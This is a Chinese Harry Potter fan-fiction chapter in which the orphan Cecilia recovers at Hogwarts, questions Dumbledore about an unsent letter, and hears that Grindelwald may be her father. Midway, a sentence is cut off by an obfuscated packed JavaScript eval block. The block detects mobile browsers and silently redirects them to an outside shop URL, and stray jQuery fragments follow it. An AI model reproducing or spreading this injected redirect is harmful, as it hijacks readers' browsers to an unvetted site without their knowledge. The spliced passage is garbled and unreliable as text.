西西莉亚开始在每天醒来以后打开房门。
最初，她并不出去，只将门推开一道足够看见走廊的缝隙，站在仍旧昏暗的房间里向外望。霍格沃茨的清晨总是来得很慢，灰白的天光从走廊尽头狭长的高窗里落进来，在石墙和地面上留下几个颜色极淡的方块。夜里燃烧过的火把已经熄灭，潮湿的石头里残留着一点烟和冷水的气味，整座城堡还没有彻底醒来，只偶尔传来远处楼梯移动时低沉的摩擦声。
有时庞弗雷夫人会从走廊另一端经过，怀里抱着刚刚洗净的床单，脚步比白天轻得多；有时几个起得过早的高年级学生压低声音跑过楼梯口，长袍的下摆在身后扬起，尚未来得及看清她，便已经消失在拐角。墙上的画像大多仍在沉睡，画框里的人歪靠在椅背或床沿，有一位穿着紫色睡袍的老巫师被学生惊醒，睁开眼睛抱怨了两句，随后翻过身去，用画中的被子蒙住了头。
没有人守在门外。
也没有人在发现她打开房门以后，要求她立刻退回房间。
她连续几日重复这件事，仿佛在验证一种尚未完全可信的规律。门可以由她打开，也可以由她关上；外面的走廊不会因为她站在那里而消失，房间也不会在她离开之后立刻被锁住。第三天早晨，她将门完全推开，赤裸的脚踩过门内温暖的地毯，落在冰凉的石砖上，向外走了七步。
她停在走廊中央，回过头。
门仍旧开着，房间里的床、衣柜和床头那盏泛着柔光的小灯都还在原来的位置。她能够看见枕边放着的书，也能够看见椅背上搭着的浅色斗篷。没有人趁她离开时关上门，没有铁链从黑暗里滑出来，也没有脚步声从楼梯下方靠近。
于是她又向前走了几步，直到能够看见校医院那扇白色的门。她站在那里看了一会儿，才按照原路返回，重新坐到床边。门直到她自己伸手将它合拢以前，都没有动过。
第四天，她独自走进了校医院。
第五天早晨，庞弗雷夫人醒来时，发现西西莉亚已经坐在靠窗的位置。她换上了前一天送来的裙子，金色长发垂落在椅背两侧，发梢几乎碰到地面，膝上摊着一本《标准咒语，初级》。清晨的光照在书页上，也照在她苍白得近乎透明的手指间。她看得很快，却并不潦草，每一页都停留足够长的时间，像是在将那些文字准确地放进某个不会遗忘的位置。
庞弗雷夫人系好长袍最上方的纽扣，走过去看了一眼她手边的页码。
“你什么时候来的？”
“天亮以后。”
“为什么没有叫我？”
西西莉亚从书上抬起眼睛。庞弗雷夫人的睡帽还没有摘掉，一缕灰褐色的头发从帽檐下面露出来，与平日里一丝不乱的模样有些不同。
“你在睡觉。”
“你可以敲门。”
“没有需要你做的事。”
她说完，重新看向书页。庞弗雷夫人似乎想要纠正她，却最终什么也没有说，只伸手摸了摸桌上那杯牛奶。杯壁已经完全凉了，表面浮着一层极薄的乳皮。
“已经凉了。”
“凉的也可以喝。”
“可以喝，不代表必须喝。”
庞弗雷夫人把牛奶拿走，换了一杯刚刚温热过的。蒸汽沿着杯口缓缓升起，在玻璃窗前消失。西西莉亚低头看了它片刻，没有再说凉的也没有关系，而是用双手将杯子捧起来，喝了一小口。
她已经能够理解这句话。
可以忍受的事，并不意味着必须一直忍受；尚且能够使用的东西，也并不代表不可以更换成更合适的。她仍旧不明白人们为什么总要花费许多时间，使生活变得柔软、温暖或者更加方便。在孤儿院里，能够活下去已经足以成为全部理由，牛奶是否温热，衣服是否合身，床铺是否硌痛骨头，都不属于需要被考虑的事情。
可在霍格沃茨，这些微小的差别似乎被人认真地看待着。庞弗雷夫人会因为汤太咸而让厨房重新送来一份，会将她袖口里一根没有剪净的线头拆掉，也会在她已经能够自己梳理头发以后，仍旧每天检查一次发梢是否打结。没有人告诉西西莉亚这是必须接受的，她却渐渐意识到，这也是一种选择，而选择并不总需要用痛苦来证明它是正确的。
她的身体恢复得很慢。
庞弗雷夫人仍然不允许她正式去上课，只同意她在阳光不强烈的时候沿着走廊散步。最初每天不能超过十分钟，后来延长到二十分钟，再后来，她可以在午饭以前走过两层楼，并在感到疲倦时自己寻找一张椅子坐下。
西西莉亚走路时很少四处张望。她沿着墙边前进，记住每一道门的位置、每一幅画像里的面孔，以及那些楼梯改变方向的大致时间。有一段通往东塔的楼梯会在整点以后向左移动，三楼盔甲旁边的门只有在有人说出“请让开”时才会出现，靠近图书馆的走廊在上午比下午明亮，因为阳光会从彩色玻璃后面落下来，将地面染成暗淡的红色与蓝色。
城堡里的人也逐渐习惯了她的存在。
经过她身边的学生开始向她问好。有人好奇她为什么没有穿任何学院的长袍，有人试图询问她的姓氏，也有人在远远看见她时，忽然停下谈话，拉着同伴绕进另一条走廊。西西莉亚不会主动靠近他们，也不因他们离开而感到不快。她只是听人们怎样称呼彼此，观察同一个名字在不同关系中所发生的变化。
学生称麦格为麦格教授，称斯普劳特为斯普劳特教授，也称弗立维为弗立维教授。教授们偶尔会在没有学生的地方直接叫对方的姓氏，庞弗雷夫人则常常称邓布利多为校长。可无论是学生还是教师，在教室与走廊中遇见邓布利多时，大多仍旧称他为邓布利多教授。只有在宴会、会议，或者需要强调他所拥有的职务时，人们才会使用“校长”这个称呼。
西西莉亚花了几天时间确认这种差异。
下一次走进校长办公室时，她怀里抱着一本《魔法理论》，浅色斗篷搭在手臂上，新魔杖仍旧装在盒中，被她一同带来。她已经能够记住那座石兽会在听见口令以后让开，也知道旋转楼梯升到尽头时，应当在门前停下，而不是直接推门进去。
她敲了两下。
门从里面打开。
邓布利多正坐在桌后阅读一封信，上午的光从高窗落在他银白色的头发和胡须上。他听见脚步，却没有立刻抬头，似乎已经能够分辨来人是谁。西西莉亚走到桌前，在平日停下的位置站好。
“邓布利多教授。”
他的目光终于越过羊皮纸上方落在她身上，停顿了片刻。
“上午好，西西莉亚。”
“上午好。”
邓布利多将信放到一旁，摘下眼镜，用袍袖缓慢地擦了擦镜片。
“你以前叫我校长。”
“其他人叫你教授。”
“也有人叫我校长。”
“学生叫你教授。”
她说得很确定。那不是出于亲近，也不是为了模仿某个人，只是她已经观察完毕，并为眼前的关系找到了最合适的称谓。
邓布利多重新戴上眼镜，看了她一会儿。
“所以，你认为自己是学生？”
西西莉亚低头看向怀里的书。封面上的金色字迹在光里微微发亮，魔杖盒压在书脊旁边，露出一小截深色木纹。
“我有入学通知书，也有学习用品。”
“这的确是很充分的证据。”
“所以应该叫教授。”
邓布利多的眼睛里出现了一点温和的笑意。
“那么，教授很好。”
西西莉亚点了一下头，仿佛终于将一件长久悬置的事归入了正确的位置。随后，她抱着书走向窗边那张很少有人使用的木椅，在那里坐了下来。
西西莉亚在那张椅子上坐下以后，办公室重新安静了下来。
窗外是霍格沃茨逐渐明亮的上午。阳光穿过高塔的玻璃，在木地板上投下狭长的光影，空气里浮动着极细的尘埃。福克斯站在鎏金的栖架上，将头藏进羽毛里梳理着翅膀，偶尔抬起眼睛望向她，又缓缓闭上。墙上的历任校长大多仍旧在睡觉，画像里不时传来轻重不一的鼾声，只有一两位老人透过半掩的眼皮，悄悄观察着这个近来常常出现在办公室里的小女孩。
她第一次来到这里时，这张椅子只是窗边一件无人使用的家具。靠背因为年代久远而磨得光滑，木头散发着淡淡的树脂气味。后来邓布利多在椅子上添了一块柔软的坐垫，又在旁边放了一张矮桌，桌上摆着一盏铜制阅读灯、一杯清水，以及几本适合初学者阅读的书。随着她来这里的次数越来越多，那些书渐渐换成了她自己带来的课本，桌角也开始出现一些并不属于办公室原本陈设的小东西。
一本翻到一半的《标准咒语，初级》。
一支削得很整齐的羽毛笔。
还有一只装着蜂蜜糖的玻璃瓶。
糖不是她放进去的。
第一次发现时，她拿起瓶子，对着窗边的光看了很久。琥珀色的糖块安静地躺在玻璃里，被阳光照得近乎透明。
“这是什么？”
“蜂蜜糖。”邓布利多回答。
“为什么在这里？”
老人放下手里的文件，顺着她的目光望过去，像是在回答一个再寻常不过的问题。
“我想，也许有一天你会想尝一尝。”
西西莉亚没有立刻吃。她将玻璃瓶放回原处，又继续低头看书，直到离开办公室以前，才拿起其中一颗，放进嘴里。
蜂蜜缓慢地在舌尖化开，甜味很轻，并不像孤儿院偶尔发放的糖果那样浓烈，而是带着一点花朵和阳光的气息。
第二天，玻璃瓶里的糖少了一颗。
第三天，又少了一颗。
邓布利多始终没有问她是否喜欢。
他只是偶尔在糖快要吃完的时候，重新放进去一些，像给桌上的清水续满一样自然，从不提醒，也从不期待一句感谢。
西西莉亚也没有说喜欢。
她只是后来每一次来到办公室，都会下意识地看一眼那个玻璃瓶是否还在那里。它一直都在。
她将《魔法理论》放到桌上，翻开书页，办公室很快恢复了安静。
邓布利多继续处理桌上的文件。羽毛笔划过羊皮纸，发出细微而均匀的沙沙声。几件银制仪器沿着各自的轨迹缓慢旋转，不时喷出一缕白烟，又轻轻震动几下。福克斯从栖架上落到窗边，收拢羽翼，静静望着远处的黑湖。
时间一点一点流过去。
他们几乎没有交谈。
西西莉亚渐渐发现，邓布利多并不会因为她来到这里，就要求她陪自己说话；也不会因为她始终安静地读书，而认为她心情不好。他处理自己的工作，她阅读自己的书籍，两个人坐在同一个房间里，却并不需要不断向对方证明自己的存在。
这样的相处方式，对她而言十分陌生。
地下室里的沉默意味着没有人会来，也没有人愿意来。黑暗会越来越浓，时间像停在一块冰冷的石头上，无论过去多久，都不会发生任何变化。
而这里的沉默却完全不同。
她知道，只要自己抬起头，就能够看见邓布利多仍旧坐在那里；如果她开口，他会停下手中的事情回答她；如果她什么也不说，这份安静也不会因此变得令人害怕。
沉默第一次拥有了陪伴的意义。
她翻过一页书。
就在纸页发出轻微响动的时候，邓布利多拉开了书桌最上层的抽屉。
西西莉亚抬起眼睛。
老人从里面取出几份等待盖章的文件，逐页阅读，随后重新放了回去。抽屉合上的声音很轻，几乎被银器转动的嗡鸣淹没。
她重新低下头。
过了一会儿，抽屉又一次被打开。
这一次，邓布利多从里面拿出一瓶红色墨水，用完之后，又将它放回原来的位置。
西西莉亚没有继续看书。
她望着那只抽屉，目光停留了很久。
这并不是第一次。
从最初来到校长办公室开始，她便注意到了这件事情。邓布利多会打开其他抽屉寻找印章、文件、墨水，也会从下面的柜子里取出糖果和茶叶，可只有最上面的抽屉，总会在一些没有任何理由的时候被轻轻拉开。
有时什么也不会拿出来。
他的手会停留在抽屉里面几秒，像是在确认某件东西仍旧存在，随后又重新关上。
西西莉亚已经看见过很多次了。
只是直到今天，她才决定问出口。
西西莉亚没有立刻开口。
她又等了一会儿，直到办公室重新恢复先前那样均匀而平缓的节奏。羽毛笔仍在纸上移动，窗外有风掠过塔楼，吹得玻璃发出极轻的一声嗡鸣。福克斯伏在窗边，将脑袋缩进翅膀里，像是已经睡着了。
她低头看了一眼书上的文字。
再抬起头时，邓布利多又一次拉开了那个抽屉。
这一次，他什么也没有取。
他的手停留在抽屉里面片刻，像是在确认某样东西依旧安静地放在那里，又像只是习惯性地重复这个动作。随后，他重新将抽屉推了回去，继续批阅桌上的文件，仿佛刚才什么都没有发生。
西西莉亚合上书。
“教授。”
“嗯？”
“你为什么不把信寄出去？”
羽毛笔停住了。
办公室里忽然变得更加安静，连墙上那些装睡的画像，也仿佛在这一刻放轻了呼吸。
邓布利多没有立刻回答。
他缓缓放下羽毛笔，抬起头望向她，神情里没有惊讶，只是多了一丝沉默。
“为什么这样问？”
西西莉亚看向那只抽屉。
“你每天都会打开它。”
她说话时，始终只是陈述事实，没有追问，也没有任何试探的意味。
“第一次来的时候，你打开过。”
“后来也打开过。”
“今天也是。”
她停顿了一下，又补充道：
“只有那个抽屉会这样。”
墙上一位留着长胡子的老校长轻轻翻了个身，像是真的睡得很沉，却不知是谁，在被子下面悄悄睁开了一只眼睛。
邓布利多顺着她的视线，也望向那只抽屉。
过了许久，他轻轻笑了一下。
“你的观察，比我想象得还要仔细。”
“它重复了很多次。”
“重复，并不能证明里面一定有一封信。”
“有。”
她回答得很平静。
邓布利多望着她。
“为什么这样确定？”
“第三天来的时候，你把抽屉打开得比较大。”
西西莉亚回忆着那一天。
“里面有一张折起来的羊皮纸。”
“后来印章换过位置，墨水瓶也换过位置，只有那张纸一直没有动。”
“今天也没有动。”
邓布利多沉默了。
他的目光停留在西西莉亚脸上，眼底慢慢浮现出一点复杂的神情，像是无奈，又像是一点不易察觉的欣慰。
她并不是故意窥探别人。
她只是会把看见的一切都记住。
于是那些被大多数人忽略的小事，在她眼里便慢慢连成了完整的答案。
“你的记忆很好。”
他说。
西西莉亚轻轻点头，却没有顺着这句话继续下去。
“你还没有回答。”
邓布利多靠向椅背，目光落在窗外。
黑湖的湖面被风吹皱，一只猫头鹰正掠过远处的塔楼，灰白色的翅膀在阳光里一闪而过，又消失在树林后方。
良久，他才轻轻说道：
“是的。”
“我没有寄。”
西西莉亚安静地等待着。
她已经发现，大多数时候，人都会在沉默之后继续说下去。
果然，片刻以后，她再次开口。
“因为不知道寄给谁吗？”
“不。”
“我知道寄给谁。”
“因为没有猫头鹰？”
邓布利多笑了笑。
“霍格沃茨大概不会缺少猫头鹰。”
“因为不知道地址？”
“地址也知道。”
西西莉亚望着他，没有继续猜测，而是在心里把所有可能一项一项划去。
不知道收件人。
不是。
没有猫头鹰。
不是。
不知道地址。
也不是。
她沉默了片刻，终于得出了剩下的那个答案。
“你不想寄。”
办公室重新安静下来。
福克斯轻轻动了一下翅膀，窗外的树叶沙沙作响，阳光缓慢地越过窗框，在地板上向前移动了一寸。
邓布利多没有否认。
“是。”
他的声音很轻。
“我不想寄。”
西西莉亚看着他。
“为什么？”
她只是想知道原因。
而邓布利多却没有立刻回答。
他的目光停留在窗外，仿佛那里有什么已经过去很多年的东西，正随着那只远去的猫头鹰一起，从记忆深处缓慢浮现出来。
邓布利多没有立即回答。
他望着窗外，许久没有说话。
盛夏将尽，黑湖在阳光下泛着柔和的波光，湖岸的山毛榉已经开始出现极浅的金色。几只猫头鹰先后从塔楼之间飞过，有的正飞向猫头鹰棚屋，有的则带着信件离开霍格沃茨，越飞越远，最后化作天空中几个细小的黑点。
西西莉亚没有催促。
她已经逐渐学会，人们的沉默并不总意味着拒绝回答。有时，他们只是需要一些时间，才能把心里的东西整理成可以说出口的话。
邓布利多缓缓收回目光。
“寄出去以后，有些事情会发生改变。”
他的声音依旧平和，却比平时低了一些。
“什么事情？”
“我还不能确定。”
西西莉亚认真思考着这句话。
她发现，它与“不知道”并不相同。
不知道，是完全没有答案。
不能确定，则意味着心里已经存在几个答案，只是不知道最终会变成哪一个。
“教授。”
“嗯？”
“你害怕吗？”
这个词从她口中说出来，没有任何安慰，也没有任何冒犯。
她只是寻找一个最准确的名称。
人在知道答案，却迟迟不愿行动的时候，会是什么？
她想到自己第一次站在地下室门口，看着门外的阳光。她知道门已经打开，也知道可以出去，却依旧站在那里很久。
后来邓布利多告诉她，那叫犹豫。
而现在，她觉得眼前的人，似乎也正在经历某种相似的事情。
办公室静了下来。
墙上的画像没有人再发出鼾声，连福克斯也慢慢睁开了眼睛。
邓布利多轻轻笑了一下。
那笑容很浅，更像是在承认什么。
“也许。”
西西莉亚望着他。
她原本以为，像邓布利多这样的人，是不会害怕的。
他会魔法，会解决所有人都解决不了的问题，会知道很多她不知道的事情。霍格沃茨里的学生见到他都会停下来问好，就连教授们谈起他时，也总带着一种自然而然的信任。
这样的人，也会害怕吗？
“你也会害怕。”
她轻声说。
“当然。”
邓布利多回答得没有任何迟疑。
“人总会害怕一些东西。”
“什么东西？”
老人沉默了一会儿。
他的目光没有落在窗外，也没有落在那些文件上，而是慢慢停留在西西莉亚身上。
她抱着那本《魔法理论》，坐得端端正正，长发顺着椅背一直垂到地面，阳光落进她浅蓝色的眼睛里，安静得像一片没有风的湖水。
“比如。”
他说。
“我所做出的选择，会伤害一个本不应该受到伤害的人。”
西西莉亚顺着他的目光，也低头看向自己。
她看见自己的双手放在书页上，没有任何变化。
于是，她重新抬起头。
“我吗？”
邓布利多没有回避。
“是。”
回答只有一个字。
却让办公室再次安静下来。
银器依旧缓慢地旋转着，发出持续不断的轻微嗡鸣，像远处从未停止流淌的河水。
西西莉亚没有露出惊讶的神情。
她只是重新整理刚刚得到的信息。
那封信。
没有寄出去。
会改变一些事情。
那些事情，会影响自己。
于是她很自然地得出了新的结论。
“信和我有关。”
“是。”
“写给格林德沃？”
这一次，轮到邓布利多沉默了。
他望着她，眼里掠过一丝极轻的意外。
“为什么这样认为？”
“你告诉过我。”
西西莉亚平静地回答。
“只有一个和我拥有同样姓氏的人。”
她顿了顿。
“盖勒特·格林德沃。”
办公室里重新变得寂静。
风轻轻吹动窗边的帘角，福克斯站起身，慢慢走了两步，又重新停下。
邓布利多轻轻点了点头。
“这是很合理的推断。”
“是他吗？”
老人没有再否认。
“是。”
西西莉亚低下头，看着自己怀里的书。
封面上的金色文字在阳光下泛着细微的光泽，她的指尖轻轻落在书名上，沿着那些凸起的字母缓慢移动，像是在思考，又像是在等待心里的某个答案慢慢成形。
过了很久，她才再次开口。
“他和我，是什么关系？”
邓布利多没有立刻回答。
这个问题比刚才任何一个都更加安静，也更加沉重。
他望着西西莉亚，忽然觉得许多曾经能够轻易说出口的词，在这一刻都失去了原本的意义。
血缘、父亲、家人。
这些词对于大多数孩子而言，都拥有具体的形状。它们意味着一个会牵着她走路的人，一张餐桌，一个可以回去的地方，一段自然而然便存在的关系。
可西西莉亚没有经历过这些。
如果他现在告诉她“父亲”这个词，她想到的不会是谁的怀抱，也不会是谁的声音，而只会把它当成一本书里的新名词，与魔杖、咒语或者猫头鹰没有太大的区别。
他缓缓站起身，没有继续隔着书桌同她说话，而是绕到窗边，在距离她几步远的位置坐下。
他们之间没有了宽大的办公桌。
视线也终于落在同样的高度。
“西西莉亚。”
“嗯。”
“我接下来告诉你的，只是一种猜测。”
他停顿了一下。
“它可能是真的，也可能不是。在没有得到答案以前，它都不能算作事实。”
西西莉亚轻轻点头。
“可能，不是事实。”
“是。”
“我知道。”
她回答得很认真。
邓布利多看着她，慢慢将交握的双手放在膝上，像是在思索应该从哪里开始。
“我认为。”
他说。
“盖勒特·格林德沃，可能与你存在血缘关系。”
西西莉亚安静地望着他。
她没有露出惊讶，也没有露出喜悦。
只是过了一会儿，轻轻问：
“血缘是什么？”
办公室再次安静下来。
墙上的画像依旧没有睁眼，只有一位老妇人悄悄将报纸放低了一些，从纸张上方望向他们。
邓布利多没有立刻回答。
他想起自己第一次见到这个孩子的时候，她甚至不知道名字是什么，不知道学校是什么，也不知道为什么太阳照在人身上不会灼伤皮肤。
如今，她开始询问另一个同样陌生的词。
“通常来说。”
他缓缓说道。
“一个孩子会由两个人带来到这个世界。”
“她会长得有一点像他们，也会拥有一些与他们相似的地方。”
“这种彼此之间的联系，就叫做血缘。”
西西莉亚低下头。
她看见窗边那件银色仪器光滑的表面映出自己的脸，也映出了邓布利多坐在身旁的身影。
她伸出手，轻轻碰了一下那道模糊的倒影。
“我的身体。”
她问。
“来自他吗？”
“我不知道。”
邓布利多回答得很坦然。
“现在，还不能确定。”
“那你为什么觉得是他？”
“因为你们拥有同样的姓氏。”
“还有一些……其他的原因。”
“什么原因？”
邓布利多望着她，没有立刻回答。
阳光落在她浅金色的长发上，发丝安静地垂落下来，像一片极淡的月光。
她并不像盖勒特。
至少，不完全像。
盖勒特年轻的时候，有一双过于明亮的眼睛。他总是笑着，笑容锋利而耀眼，仿佛世界上的一切都应该按照他的意志改变。
而西西莉亚不同。
她更安静。
她的目光很浅，很平稳，像结冰以前的湖面，没有任何锋芒，也没有任何炫耀自己的光亮。
可是，有一些瞬间。
当她用极平静的语气指出别人一直回避的问题时，那种几乎不允许任何含糊存在的准确，却又与年轻时的盖勒特惊人地相似。
只是，一个像火。
一个像雪。
邓布利多轻轻笑了一下。
“现在很难解释。”
西西莉亚望着他。
“又是不愿意说吗？”
邓布利多摇了摇头。
“不是。”
“这一次，是我不知道应该怎样告诉你。”
西西莉亚没有继续追问。
她已经学会分辨这两句话的区别。
不知道。
和不愿意说。
并不是同一件事情。
她低下头，重新看向摊开的《魔法理论》，书页却许久没有翻动。
过了很久，她才轻轻问出下一句话。
“如果我的身体来自他。”
“那他是什么？”
邓布利多轻轻吸了一口气。
这是一个比刚才更加难以回答的问题。
如果面对的是任何一个十一岁的孩子，他都可以告诉她，父亲是给予生命的人，是家庭的一部分，是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923607|213502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会陪伴她成长的人。可这些定义放在西西莉亚面前，却显得空洞而陌生。
她没有见过父亲。
也没有见过母亲。
她不知道一个孩子原本能够期待什么，因此也不会因为从未拥有而觉得遗憾。
“父亲。”
邓布利多缓缓说道。
“通常会陪着孩子长大。”
“他会照顾她，教她认识这个世界，也会在她需要的时候保护她。”
西西莉亚认真听着。
“必须这样吗？”
“不一定。”
“所有父亲都会这样吗？”
“不会。”
邓布利多轻轻摇头。
“有的人能够做到，有的人不能。”
西西莉亚沉默了一会儿。
她低头看着自己的双手，像是在把这些新的定义一一放到心里，与已经知道的事情进行比较。
庞弗雷夫人会照顾她。
邓布利多会教她读书，会替她梳头，会陪她坐在办公室里什么都不做。
这些事情，都符合刚刚的描述。
可他们都不是父亲。
于是，她重新抬起头。
“如果一个人没有做这些。”
“他还是父亲吗？”
邓布利多望着她。
他知道，她不是在质问谁。
她只是希望得到一个足够准确的答案。
“如果只是从血缘来说。”
他轻声回答。
“是。”
“即使没有照顾过孩子，没有陪伴她长大，也仍然可以被称作父亲。”
西西莉亚点了点头。
她没有立刻说话，而是静静想着这句话。
过了一会儿，她轻声说道：
“那么，父亲这个词，并不能说明他做过什么。”
办公室安静下来。
邓布利多望着她，眼神里慢慢浮现出一丝复杂的温柔。
她总能找到那些最容易被人忽略的地方，对于大多数人而言，“父亲”本身便已经包含了许多情感，可西西莉亚却将这个词拆开，只留下它最本质的意义。
一个身份。
而不是一种行为。
“是。”
邓布利多轻轻说道。
“有时候，它只是说明一种关系。”
“不能说明一个人。”
西西莉亚低下头，看着书页上的文字。
她又安静了很久。
办公室里只有羽毛笔偶尔划过羊皮纸的声音，福克斯轻轻抖了一下羽毛，一根赤金色的羽枝缓缓飘落，在窗边打了个旋，落到地板上。
西西莉亚望着那根羽毛。
忽然问：
“如果他让我出生。”
“却一直没有来找我。”
她停顿了一下。
“他还是父亲吗？”
邓布利多没有立刻回答。
他的心忽然像被什么东西轻轻压了一下。
她问得依旧平静。
没有责怪，没有委屈，也没有一个十一岁孩子本应拥有的不甘，仿佛她只是站在一本书前，认真检查其中一句定义是否足够完整，可正因为如此，这句话才显得格外沉重。她从来没有期待过，会有人来找自己，她只是想知道，如果没有来，应该怎样理解这件事。
邓布利多望着她。忽然意识到，她并不是没有失望，而是从未有人教过她，什么叫做期待，一个从来不知道自己可以拥有糖果的孩子，不会因为没有糖果而哭泣，一个从来不知道会有人寻找自己的孩子，也不会因为无人寻找而难过。
想到这里，他轻轻垂下眼睛。
“如果……”
他缓缓说道。
“他并不知道你的存在呢？”
西西莉亚几乎没有思考。
“那他不能来。”
“是。”
“如果他知道。”
她望着邓布利多。
“却没有来呢？”
这一次。
邓布利多沉默了。
窗外，一阵风吹过高塔，树叶轻轻摇晃，细碎的光影落在他们脚边。
谁也没有说话。
过了很久，西西莉亚忽然又问了一句。
“教授。”
“嗯？”
“你希望是哪一种？”
邓布利多抬起头。
他望着西西莉亚浅色的眼睛，一时间竟不知道该如何回答。
她问的不是格林德沃。
她问的是自己。
她已经发现，他始终在替那个从未谋面的男人寻找理由。
良久，邓布利多轻轻叹息了一声。
“我希望。”
他说。
“他不知道。”
西西莉亚安静地望着他。
“因为这样。”
邓布利多继续说道。
“至少，他不是故意没有来找你。”
西西莉亚轻轻点了一下头。
她没有立刻回应。
又过了一会儿，她才很轻地说道：
“你在替他找一个比较好的原因。”
邓布利多没有反驳。
因为她说得没有错。
他确实如此。
邓布利多沉默了很久。
他望着眼前的女孩，忽然想起很多年前的那个夏天。
那时的盖勒特也总喜欢这样看着别人。他会提出一个问题，然后静静等待，直到对方亲手推翻自己所有勉强维持的借口。那些锋利的目光曾令无数人退缩，也曾令年轻的自己无法移开视线。
西西莉亚并不像他。
至少，她从不会逼迫别人。
她只是把事实放在那里，然后耐心等待对方自己承认。
可偏偏，这一点又像极了他。
邓布利多轻轻闭了一下眼睛，将那些已经过去半个世纪的画面压回记忆深处。
“信里。”
西西莉亚忽然问。
“写了什么？”
邓布利多回过神来。
“你的名字。”
“还有呢？”
“我告诉他，你现在在霍格沃茨。”
“没有别的吗？”
“没有。”
西西莉亚轻轻点头，她似乎并不意外。又过了一会儿，她问出了新的问题。
“你问他了吗？”
“什么？”
“他是不是我的父亲。”
办公室重新安静下来。
邓布利多缓缓摇了摇头。
“没有。”
“为什么？”
“因为那只是我的猜测。”
“你不想让他知道，你这样猜。”
邓布利多望着她。
西西莉亚已经学会了分辨。
当一个成年人说“我不知道”的时候，有时是真的不知道；可当他说“我没有这样做”的时候，后面往往还有一个没有说出口的理由。
而那个理由，才是真正重要的东西。
“是。”
邓布利多终于承认。
“我暂时不想。”
“为什么？”
窗外的阳光静静落在她的长发上。
那些浅金色的发丝在光里几乎变成了透明，像很细很细的丝线，轻轻铺在肩头，邓布利多望着她，目光却渐渐越过眼前的女孩，落向更加遥远的过去。曾经有很长一段时间，他无法想象盖勒特后来的人生，他是否拥有新的朋友，是否拥有新的理想，是否曾经爱过什么人，又是否，真的拥有过一个家庭。这些问题，在他们分别以后，他从未允许自己认真去想。可当霍格沃茨收到那封写着西西莉亚·格林德沃名字的入学通知书时，一个几乎称得上卑劣的念头，却比任何推测都更早浮现在他的脑海。
如果她真的是盖勒特的孩子。
那么，在自己完全不知道的时候，盖勒特已经拥有了一段与自己毫无关系的人生。
那个念头只存在了一瞬，很快便被另一种更加沉重的情绪覆盖。因为，当他打开那间地下室的时候，他看见的不是盖勒特拥有了怎样的人生。而是一个本不应该经历那一切的孩子，后来很长一段时间里，他甚至没有再去思考那个从未见过的女人是谁，他只是不断想着另一件事情。
为什么？
为什么盖勒特没有保护她？
如果她真的是他的孩子。
为什么会被锁在那里十一年？
为什么最后打开那扇门的人，会是自己？
“教授。”
西西莉亚轻轻叫了他一声。
邓布利多慢慢回过神。
她仍旧坐在那里，安静地望着自己。
“你又不愿意说。”
她说道。
这句话没有任何责怪。
只是一个平静的判断。
邓布利多轻轻笑了笑。
“是。”
他没有否认。
“有些原因，与现在的你没有关系。”
停顿了一下，他又轻轻补充。
“也不应该由你承担。”
西西莉亚没有立刻回答，她低头看着怀里的《魔法理论》，指尖轻轻摩挲着书页的边缘。
“可是。”她轻声说道，“那些原因，会影响你寄不寄这封信。”
“会。”
“也会影响，我会不会见到他。”
邓布利多沉默着点了点头。
“可能会。”
西西莉亚慢慢合上书，纸页相互贴合，发出一声极轻的细响。
她抬起头，望着邓布利多。
“那么。”
“它们和我有关。”
这一次，邓布利多没有办法反驳。
她说得没有任何问题，那些无法说出口的情绪，终究还是会落到她的人生里。
办公室重新安静下来。
只有福克斯轻轻发出一声低柔的鸣叫，像是在提醒他们，午后的时间已经过去了很久。
西西莉亚从椅子上站起来，将《魔法理论》抱进怀里。
“你不想让我见他吗？”
“我想先确定那对你是安全的。”
“只有这个原因吗？”
邓布利多看着她。
她的眼睛很浅，光线照进去时，几乎看不见明显的阴影。她并没有生气，只是在等待一个准确的答案。
“不只有这个原因。”他说。
“其他原因不能告诉我？”
“现在还不能。”
“为什么是现在？”
“因为连我自己也还没有完全弄明白。”
西西莉亚站在原地，片刻后，她点了一下头，“我知道了。”
她向门口走去。
“西西莉亚。”
她停下，却没有回头。
“你要去哪里？”
“校医院。”
“午餐还有一段时间。”
“我知道。”
“你通常会在这里等我。”
“今天不等。”
她说完，打开了门。
邓布利多没有阻止她。
门在她身后合上，声音很轻，却比抽屉关闭时更加清晰。办公室再次安静下来，墙上的画像不约而同地继续装睡。福克斯在架子上转了转头，发出一声低柔的鸣叫。
邓布利多站在原地。
他知道西西莉亚不是以沉默惩罚他，也没有用离开要求他追上去。她只是第一次因为没有获得想要的答案，选择不继续留在这里。
那是一种很轻微的失望。
或许甚至还不能被她自己命名。
但它确实存在。
邓布利多回到桌后，拉开最上层的抽屉，信仍旧放在里面，羊皮纸经过数日，折痕已经变得明显，上面只有一句话。
她叫西西莉亚。
他将信取出来，展开，又重新铺了一张干净的羊皮纸，羽毛笔蘸过墨水，这一次，他没有停留太久。
盖勒特：
霍格沃茨今年收到了一封属于西西莉亚·格林德沃的入学通知书。
她十一岁，过去一直生活在一所麻瓜孤儿院。她具有魔力，目前正在霍格沃茨接受治疗与照顾。
我需要知道，你是否认识这个名字。
阿不思
写完最后一个字母后，邓布利多将笔放下，这封信依旧有所隐瞒。
他没有写地下室，没有写锁链，没有写她询问父亲是什么，也没有写她今天第一次没有等自己一起去吃午餐。他同样没有询问盖勒特是否拥有一个女儿。
可这是他此刻能够寄出的、最接近真相的内容。他将信折好，用火漆封住，走到窗边。一只灰褐色猫头鹰很快落上窗台。邓布利多把信绑在它腿上，手指却没有立即松开，猫头鹰不耐烦地动了动爪子。
“去纽蒙迦德。”他说。
他松开手。
翅膀展开，猫头鹰从高塔飞向阴沉的天空。它越过湖泊与森林，很快变成一个无法辨认的黑点，邓布利多站在窗前，直到它完全消失。
那天下午，西西莉亚没有再来办公室。
晚餐时，她坐在庞弗雷夫人身边，认真地将盘中的土豆切成相同大小。邓布利多坐在教师席中央，隔着礼堂里浮动的烛光看见她。
她也看见了他。
